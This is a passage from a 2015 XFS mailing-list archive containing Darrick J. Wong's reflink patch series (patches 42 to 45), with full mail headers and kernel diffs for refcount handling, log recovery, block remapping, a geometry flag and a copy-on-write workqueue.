unparseable relay lines When we're unmapping blocks from a reflinked file, decrease the refcount of the affected blocks and free the extents that are no longer in use. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_bmap.c | 16 +++++++++++++--- fs/xfs/libxfs/xfs_refcount.c | 42 ++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_refcount.h | 4 ++++ 3 files changed, 59 insertions(+), 3 deletions(-) diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index 81f0ae0..f6812ba 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -46,6 +46,7 @@ #include "xfs_attr_leaf.h" #include "xfs_filestream.h" #include "xfs_rmap_btree.h" +#include "xfs_refcount.h" kmem_zone_t *xfs_bmap_free_item_zone; @@ -5182,9 +5183,18 @@ xfs_bmap_del_extent( /* * If we need to, add to list of extents to delete. */ - if (do_fx) - xfs_bmap_add_free(mp, flist, del->br_startblock, - del->br_blockcount, NULL); + if (do_fx) { + if (xfs_is_reflink_inode(ip)) { + error = xfs_refcount_put_extent(mp, tp, flist, + del->br_startblock, + del->br_blockcount, NULL); + if (error) + goto done; + } else + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount, NULL); + } + /* * Adjust inode # blocks in the file. */ diff --git a/fs/xfs/libxfs/xfs_refcount.c b/fs/xfs/libxfs/xfs_refcount.c index 02892bc..bd611d3 100644 --- a/fs/xfs/libxfs/xfs_refcount.c +++ b/fs/xfs/libxfs/xfs_refcount.c @@ -938,3 +938,45 @@ xfs_refcount_decrease( return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, aglen, -1, flist, oinfo); } + +/** + * xfs_refcount_put_extent() - release a range of blocks + * + * @mp: XFS mount object + * @tp: transaction that goes with the free operation + * @flist: List of blocks to be freed at the end of the transaction + * @fsbno: First fs block of the range to release + * @len: Length of range + * @owner: owner of the extent + */ +int +xfs_refcount_put_extent( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_bmap_free *flist, + xfs_fsblock_t fsbno, + xfs_filblks_t fslen, + struct xfs_owner_info *oinfo) +{ + int error; + struct xfs_buf *agbp; + xfs_agnumber_t agno; /* allocation group number */ + xfs_agblock_t agbno; /* ag start of range to free */ + xfs_extlen_t aglen; /* ag length of range to free */ + + agno = XFS_FSB_TO_AGNO(mp, fsbno); + agbno = XFS_FSB_TO_AGBNO(mp, fsbno); + aglen = fslen; + + /* + * Drop reference counts in the refcount tree. + */ + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + return error; + + error = xfs_refcount_decrease(mp, tp, agbp, agno, agbno, aglen, flist, + oinfo); + xfs_trans_brelse(tp, agbp); + return error; +} diff --git a/fs/xfs/libxfs/xfs_refcount.h b/fs/xfs/libxfs/xfs_refcount.h index 6640e3d..074d620 100644 --- a/fs/xfs/libxfs/xfs_refcount.h +++ b/fs/xfs/libxfs/xfs_refcount.h @@ -34,4 +34,8 @@ extern int xfs_refcount_decrease(struct xfs_mount *mp, struct xfs_trans *tp, xfs_extlen_t aglen, struct xfs_bmap_free *flist, struct xfs_owner_info *oinfo); +extern int xfs_refcount_put_extent(struct xfs_mount *mp, struct xfs_trans *tp, + struct xfs_bmap_free *flist, xfs_fsblock_t fsbno, + xfs_filblks_t len, struct xfs_owner_info *oinfo); + #endif /* __XFS_REFCOUNT_H__ */ From darrick.wong@oracle.com Tue Oct 6 23:59:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 51CD929E10 for ; Tue, 6 Oct 2015 23:59:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BAC49AC008 for ; Tue, 6 Oct 2015 21:59:50 -0700 (PDT) X-ASG-Debug-ID: 1444193989-04cbb03f140d640001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id far48ZGt4hYAIw3F (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xm1L013394 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:48 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974xmDt009898 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:48 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974xl3q003852; Wed, 7 Oct 2015 04:59:47 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:47 -0700 Subject: [PATCH 42/58] xfs: add refcount btree block detection to log recovery From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 42/58] xfs: add refcount btree block detection to log recovery To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:46 -0700 Message-ID: <20151007045946.30457.35280.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193989 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Teach log recovery how to deal with refcount btree blocks. Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_log_recover.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 0f5fb8f..9780702 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -1848,6 +1848,7 @@ xlog_recover_get_buf_lsn( case XFS_ABTB_MAGIC: case XFS_ABTC_MAGIC: case XFS_RMAP_CRC_MAGIC: + case XFS_REFC_CRC_MAGIC: case XFS_IBT_CRC_MAGIC: case XFS_IBT_MAGIC: { struct xfs_btree_block *btb = blk; @@ -2019,6 +2020,9 @@ xlog_recover_validate_buf_type( case XFS_RMAP_CRC_MAGIC: bp->b_ops = &xfs_rmapbt_buf_ops; break; + case XFS_REFC_CRC_MAGIC: + bp->b_ops = &xfs_refcountbt_buf_ops; + break; default: xfs_warn(mp, "Bad btree block magic!"); ASSERT(0); From darrick.wong@oracle.com Tue Oct 6 23:59:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD2147FB3 for ; Tue, 6 Oct 2015 23:59:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3DA01AC009 for ; Tue, 6 Oct 2015 21:59:57 -0700 (PDT) X-ASG-Debug-ID: 1444193995-04bdf020db0e580001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 2kZgtptbHu6WyW3F (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:59:55 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974xsAf013451 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:59:55 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974xsGI010072 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:59:54 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974xs8m003885; Wed, 7 Oct 2015 04:59:54 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:59:54 -0700 Subject: [PATCH 43/58] xfs: map an inode's offset to an exact physical block From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 43/58] xfs: map an inode's offset to an exact physical block To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:52 -0700 Message-ID: <20151007045952.30457.35484.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193995 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Teach the bmap routine to know how to map a range of file blocks to a specific range of physical blocks, instead of simply allocating fresh blocks. This enables reflink to map a file to blocks that are already in use. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_bmap.c | 64 ++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap.h | 9 ++++++ 2 files changed, 72 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index f6812ba..5f457b4 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -4003,6 +4003,56 @@ xfs_bmap_btalloc( } /* + * For a remap operation, just "allocate" an extent at the address that the + * caller passed in, and ensure that the AGFL is the right size. The caller + * will then map the "allocated" extent into the file somewhere. + */ +static int +xfs_bmap_remap( + struct xfs_bmalloca *ap) +{ + struct xfs_trans *tp = ap->tp; + struct xfs_mount *mp = tp->t_mountp; + xfs_agblock_t bno; + struct xfs_alloc_arg args; + int error; + + /* + * validate that the block number is legal - the enables us to detect + * and handle a silent filesystem corruption rather than crashing. + */ + memset(&args, 0, sizeof(struct xfs_alloc_arg)); + args.tp = ap->tp; + args.mp = ap->tp->t_mountp; + bno = *ap->firstblock; + args.agno = XFS_FSB_TO_AGNO(mp, bno); + if (args.agno >= mp->m_sb.sb_agcount) + return -EFSCORRUPTED; + + args.agbno = XFS_FSB_TO_AGBNO(mp, bno); + if (args.agbno >= mp->m_sb.sb_agblocks) + return -EFSCORRUPTED; + + /* "Allocate" the extent from the range we passed in. */ + trace_xfs_reflink_relink_blocks(ap->ip, *ap->firstblock, + ap->length); + ap->blkno = bno; + ap->ip->i_d.di_nblocks += ap->length; + xfs_trans_log_inode(ap->tp, ap->ip, XFS_ILOG_CORE); + + /* Fix the freelist, like a real allocator does. */ + + args.pag = xfs_perag_get(args.mp, args.agno); + ASSERT(args.pag); + + error = xfs_alloc_fix_freelist(&args, XFS_ALLOC_FLAG_FREEING); + if (error) + goto error0; +error0: + xfs_perag_put(args.pag); + return error; +} +/* * xfs_bmap_alloc is called by xfs_bmapi to allocate an extent for a file. * It figures out where to ask the underlying allocator to put the new extent. */ @@ -4010,6 +4060,8 @@ STATIC int xfs_bmap_alloc( struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { + if (ap->flags & XFS_BMAPI_REMAP) + return xfs_bmap_remap(ap); if (XFS_IS_REALTIME_INODE(ap->ip) && ap->userdata) return xfs_bmap_rtalloc(ap); return xfs_bmap_btalloc(ap); @@ -4694,6 +4746,12 @@ xfs_bmapi_write( ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (whichfork == XFS_ATTR_FORK) + ASSERT(!(flags & XFS_BMAPI_REMAP)); + if (flags & XFS_BMAPI_REMAP) { + ASSERT(!(flags & XFS_BMAPI_PREALLOC)); + ASSERT(!(flags & XFS_BMAPI_CONVERT)); + } if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -4743,6 +4801,12 @@ xfs_bmapi_write( wasdelay = !inhole && isnullstartblock(bma.got.br_startblock); /* + * Make sure we only reflink into a hole. + */ + if (flags & XFS_BMAPI_REMAP) + ASSERT(inhole); + + /* * First, deal with the hole before the allocated space * that we found, if any. */ diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 59f26cf..78a56b69 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -110,6 +110,12 @@ typedef struct xfs_bmap_free * from written to unwritten, otherwise convert from unwritten to written. */ #define XFS_BMAPI_CONVERT 0x040 +/* + * Map the inode offset to the block given in ap->firstblock. Primarily + * used for reflink. The range must be in a hole, and this flag cannot be + * turned on with PREALLOC or CONVERT, and cannot be used on the attr fork. + */ +#define XFS_BMAPI_REMAP 0x100 #define XFS_BMAPI_FLAGS \ { XFS_BMAPI_ENTIRE, "ENTIRE" }, \ @@ -118,7 +124,8 @@ typedef struct xfs_bmap_free { XFS_BMAPI_PREALLOC, "PREALLOC" }, \ { XFS_BMAPI_IGSTATE, "IGSTATE" }, \ { XFS_BMAPI_CONTIG, "CONTIG" }, \ - { XFS_BMAPI_CONVERT, "CONVERT" } + { XFS_BMAPI_CONVERT, "CONVERT" }, \ + { XFS_BMAPI_REMAP, "REMAP" } static inline int xfs_bmapi_aflag(int w) From darrick.wong@oracle.com Wed Oct 7 00:00:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AA9EA29E10 for ; Wed, 7 Oct 2015 00:00:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A31A8F8040 for ; Tue, 6 Oct 2015 22:00:04 -0700 (PDT) X-ASG-Debug-ID: 1444194003-04cb6c578b0d580001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 2ectLQ3tLEUbESPl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:03 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97501AB013781 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:02 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t97501qg004498 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:01 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t97500Nq019507; Wed, 7 Oct 2015 05:00:00 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:00 -0700 Subject: [PATCH 44/58] xfs: add reflink feature flag to geometry From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 44/58] xfs: add reflink feature flag to geometry To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:59:59 -0700 Message-ID: <20151007045959.30457.9537.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194003 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Report the reflink feature in the XFS geometry so that xfs_info and friends know the filesystem has this feature. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_fs.h | 3 ++- fs/xfs/xfs_fsops.c | 4 +++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index 9fbdb86..b6ee5d8 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -240,7 +240,8 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ #define XFS_FSOP_GEOM_FLAGS_FINOBT 0x20000 /* free inode btree */ #define XFS_FSOP_GEOM_FLAGS_SPINODES 0x40000 /* sparse inode chunks */ -#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* Reverse mapping btree */ +#define XFS_FSOP_GEOM_FLAGS_RMAPBT 0x80000 /* reverse mapping btree */ +#define XFS_FSOP_GEOM_FLAGS_REFLINK 0x100000 /* files can share blocks */ /* * Minimum and maximum sizes need for growth checks. diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 7c37c22..920db9d 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -106,7 +106,9 @@ xfs_fs_geometry( (xfs_sb_version_hassparseinodes(&mp->m_sb) ? XFS_FSOP_GEOM_FLAGS_SPINODES : 0) | (xfs_sb_version_hasrmapbt(&mp->m_sb) ? - XFS_FSOP_GEOM_FLAGS_RMAPBT : 0); + XFS_FSOP_GEOM_FLAGS_RMAPBT : 0) | + (xfs_sb_version_hasreflink(&mp->m_sb) ? + XFS_FSOP_GEOM_FLAGS_REFLINK : 0); geo->logsectsize = xfs_sb_version_hassector(&mp->m_sb) ? mp->m_sb.sb_logsectsize : BBSIZE; geo->rtsectsize = mp->m_sb.sb_blocksize; From darrick.wong@oracle.com Wed Oct 7 00:00:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7E5297FB3 for ; Wed, 7 Oct 2015 00:00:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F35EFAC00D for ; Tue, 6 Oct 2015 22:00:14 -0700 (PDT) X-ASG-Debug-ID: 1444194013-04cbb03f150d680001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Lq3vIjAlZmceRyzw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:13 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975079x008949 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:00:08 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t97507Th011353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:00:07 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97507i3006819; Wed, 7 Oct 2015 05:00:07 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:00:06 -0700 Subject: [PATCH 45/58] xfs: create a separate workqueue for copy-on-write activities From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 45/58] xfs: create a separate workqueue for copy-on-write activities To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:00:05 -0700 Message-ID: <20151007050005.30457.80025.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194013 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Create a separate workqueue to handle copy on write blocks so that we don't explode the number of kworkers if a flood of writes comes through. We could possibly use m_buf_wq for this too... Signed-off-by: Darrick J. Wong --- fs/xfs/xfs_mount.h | 1 + fs/xfs/xfs_super.c | 36 +++++++++++++++++++++++++++++++++++- 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index aba42d7..6f4c335 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -142,6 +142,7 @@ typedef struct xfs_mount { struct workqueue_struct *m_reclaim_workqueue; struct workqueue_struct *m_log_workqueue; struct workqueue_struct *m_eofblocks_workqueue; + struct workqueue_struct *m_cow_workqueue; /* * Generation of the filesysyem layout. This is incremented by each diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 6dc5993..c6a26b0 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -883,6 +883,33 @@ xfs_destroy_mount_workqueues( destroy_workqueue(mp->m_buf_workqueue); } +STATIC int +xfs_init_feature_workqueues( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasreflink(&mp->m_sb)) { + /* XXX awful, but it'll improve when bh's go away */ + /* XXX probably need locking around the endio rbtree */ + mp->m_cow_workqueue = alloc_workqueue("xfs-cow/%s", + WQ_MEM_RECLAIM|WQ_FREEZABLE|WQ_UNBOUND, + 1, mp->m_fsname); + if (!mp->m_cow_workqueue) + goto out; + } + + return 0; +out: + return -ENOMEM; +} + +STATIC void +xfs_destroy_feature_workqueues( + struct xfs_mount *mp) +{ + if (mp->m_cow_workqueue) + destroy_workqueue(mp->m_cow_workqueue); +} + /* * Flush all dirty data to disk. Must not be called while holding an XFS_ILOCK * or a page lock. We use sync_inodes_sb() here to ensure we block while waiting @@ -1490,6 +1517,10 @@ xfs_fs_fill_super( if (error) goto out_free_sb; + error = xfs_init_feature_workqueues(mp); + if (error) + goto out_filestream_unmount; + /* * we must configure the block size in the superblock before we run the * full mount process as the mount process can lookup and cache inodes. @@ -1526,7 +1557,7 @@ xfs_fs_fill_super( error = xfs_mountfs(mp); if (error) - goto out_filestream_unmount; + goto out_destroy_feature_workqueues; root = igrab(VFS_I(mp->m_rootip)); if (!root) { @@ -1541,6 +1572,8 @@ xfs_fs_fill_super( return 0; +out_destroy_feature_workqueues: + xfs_destroy_feature_workqueues(mp); out_filestream_unmount: xfs_filestream_unmount(mp); out_free_sb: @@ -1570,6 +1603,7 @@ xfs_fs_put_super( struct xfs_mount *mp = XFS_M(sb); xfs_notice(mp, "Unmounting Filesystem"); + xfs_destroy_feature_workqueues(mp); xfs_filestream_unmount(mp); xfs_unmountfs(mp); From darrick.wong@oracle.com Wed Oct 7 00:00:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4CAE27FAF for ; Wed, 7 Oct 2015 00:00:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B303FAC007 for ; Tue, 6 Oct 2015 22:00:23 -0700 (PDT) X-ASG-Debug-ID: 1444194021-04cbb03f130d6a0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id CJUEgfZhZzdgk7nH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:00:22 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with 